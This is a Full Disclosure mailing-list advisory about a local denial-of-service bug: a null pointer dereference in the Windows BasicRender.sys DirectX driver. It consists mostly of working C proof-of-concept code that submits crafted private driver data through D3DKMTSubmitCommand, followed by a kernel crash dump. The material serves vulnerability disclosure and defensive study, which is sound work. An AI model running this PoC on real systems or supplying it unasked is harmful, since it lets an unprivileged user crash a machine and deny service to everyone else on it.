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Date: Sun, 1 Dec 2019 15:22:08 +0100
From: Victor Portal Gonzalez <vportalg@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Windows Kernel DirectX - Local Denial Of Service

A Null pointer deference exists in the WARPGPUCMDSYNC function of the
BasicRender.sys driver. An unprivileged user can trigger the vulnerability
to crash the system and deny the service to the rest of the users.

*PoC:*

#include <Windows.h>
#include <d3dkmthk.h>

D3DKMT_CREATEDEVICE* device = NULL;
device = new D3DKMT_CREATEDEVICE();

D3DKMT_ENUMADAPTERS enumAdapter = { 0 };
D3DKMTEnumAdapters(&enumAdapter);
device->hAdapter = enumAdapter.Adapters[1].hAdapter;
logger(log_counter, "EnumAdapter");

D3DKMTCreateDevice(device);

D3DKMT_CREATECONTEXTVIRTUAL* contextVirtual = NULL;
contextVirtual = new D3DKMT_CREATECONTEXTVIRTUAL();
memset(contextVirtual, 0, sizeof(D3DKMT_CREATECONTEXTVIRTUAL));

contextVirtual->hDevice = device->hDevice;

char data[0x200] = { 0 };
memset(data, 0xff, 0x200);

contextVirtual->PrivateDriverDataSize = 0x200;
contextVirtual->pPrivateDriverData = data;

contextVirtual->ClientHint = D3DKMT_CLIENTHINT_DX10;
contextVirtual->Flags.InitialData = 0x000001;
contextVirtual->Flags.NullRendering = 0x0;

D3DKMT_SUBMITCOMMAND* submitCommand = NULL;
submitCommand = new D3DKMT_SUBMITCOMMAND();

submitCommand->BroadcastContext[0] = 0x40000240;

for (int i = 0; i < 0x10; i++)
     submitCommand->WrittenPrimaries[i] = 0x0;

submitCommand->PresentHistoryToken = 0x100;
submitCommand->Commands = 0x004b39;
submitCommand->CommandLength = 0x00000d;
submitCommand->BroadcastContext[0] = contextVirtual->hContext;
submitCommand->BroadcastContextCount = 0x1;
submitCommand->Flags.PresentRedirected = 0x1;

submitCommand->PrivateDriverDataSize = 0x130;

char* PrivateData = NULL;
PrivateData = new char[submitCommand->PrivateDriverDataSize];
memset(PrivateData, 0x00, submitCommand->PrivateDriverDataSize);

*(DWORD*)(PrivateData + 0x118) = 0x434e5953;
*(DWORD*)(PrivateData + 0x11c) = 0x18;
*(DWORD*)(PrivateData + 0x120) = 0x000110;
*(DWORD*)(PrivateData + 0x124) = 0x000420;
*(DWORD*)(PrivateData + 0x128) = 0x0;
*(DWORD*)(PrivateData + 0x12c) = 0x000428;

submitCommand->pPrivateDriverData = PrivateData;

D3DKMTSubmitCommand(submitCommand);

*Crash dump*:

STACK_TEXT:
8afae92c 8fe82cb2 8afae958 fffffffd 0000048c
BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc
8afae94c 8fe8267d bb26afe8 00000000 bb26afe0
BasicRender!WARPKMCONTEXT::SubmitVirtual+0x4a
8afae9a8 8fca6af5 91e05000 bb26afe0 93dfc000
BasicRender!WarpKMSubmitCommandVirtual+0x87
8afae9fc 8fc2a934 8afaea68 8afaeac0 92b19db6
dxgkrnl!ADAPTER_RENDER::DdiSubmitCommandVirtual+0x115
8afaea08 92b19db6 90114c30 8afaea68 b78da008
dxgkrnl!ADAPTER_RENDER_DdiSubmitCommandVirtual+0x10
8afaeac0 92b4ac94 93dfc000 cd6ee008 cc6d8860
dxgmms2!VidSchiSendToExecutionQueue+0x526
8afaeb90 92b764a9 00000000 945f5a80 00000000
dxgmms2!VidSchiSubmitRenderVirtualCommand+0x534
8afaebb8 81ee80bc 93dfc000 28e5f697 00000000
dxgmms2!VidSchiWorkerThread+0x1a1
8afaebf0 81fe952d 92b76308 93dfc000 00000000 nt!PspSystemThreadStartup+0x4a
8afaebfc 00000000 00000000 bbbbbbbb bbbbbbbb nt!KiThreadStartup+0x15

eax=8afae958 ebx=00000000 ecx=00000000 edx=00000000 *esi*=00000000
edi=bb26afd8
eip=8fe8386c esp=8afae920 ebp=8afae92c iopl=0         nv up ei pl zr na pe
nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000
efl=00010246
BasicRender!WARPGPUCMDSYNC::WARPGPUCMDSYNC+0xc:
8fe8386c c7061060e88f    mov     dword ptr [esi],offset
BasicRender!WARPGPUCMDSYNC::`vftable' (8fe86010) ds:0023:00000000=????????
Resetting default scope

--------------------------------------------------------------------------------

The vulnerability has only been tested  in Windows 10 x86 1803.
CVSS Base Score: 5.5
Credit: Victor Portal

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